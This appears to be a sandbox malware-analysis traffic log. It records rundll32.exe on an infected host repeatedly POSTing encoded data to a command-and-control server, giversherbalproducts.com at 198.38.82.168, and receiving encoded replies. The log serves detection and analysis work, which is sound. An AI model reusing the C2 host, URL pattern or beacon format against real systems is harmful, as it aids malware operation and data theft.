Oct 4, 2021 16:01:41.647190094 CEST	1168	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:41 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49818	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:41.525158882 CEST	1167	OUT	POST /lBawcxb5/P3glHSkheRgAfBMIMgUiKCMaGD4dK0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:41.999989033 CEST	1169	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:41 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49819	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:42.367018938 CEST	1170	OUT	POST /lBawcxb5/HiQBOhomAh0dCDgeJjoHLj8YCUZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:42.854424000 CEST	1172	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49820	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:42.399435043 CEST	1171	OUT	POST /lBawcxb5/HiQBOhomAh0dCDgeJjoHLj8YCUZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:42.845385075 CEST	1171	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49821	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:43.314655066 CEST	1174	OUT	POST /lBawcxb5/BhkbJH0afC8dDiEzQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:43.779874086 CEST	1175	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:43 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49822	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:43.334526062 CEST	1174	OUT	POST /lBawcxb5/BhkbJH0afC8dDiEzQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:43.815268993 CEST	1176	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:43 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	49823	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:44.176731110 CEST	1177	OUT	POST /lBawcxb5/ACA4KhwTDH8VH3MrOQp8GAYHIjZ4egBFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:44.670607090 CEST	1178	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:44 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	49824	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:44.271820068 CEST	1177	OUT	POST /lBawcxb5/ACA4KhwTDH8VH3MrOQp8GAYHIjZ4egBFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:44.762088060 CEST	1179	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:44 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49760	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:11.544667959 CEST	1049	OUT	POST /lBawcxb5/LjI+JSoqJQ4lBiwyAhR7KngvHgopKBhFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:11.996861935 CEST	1050	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	49825	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:45.032854080 CEST	1180	OUT	POST /lBawcxb5/MSMDOB0pBQ5+OnNDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:45.555627108 CEST	1182	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:45 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 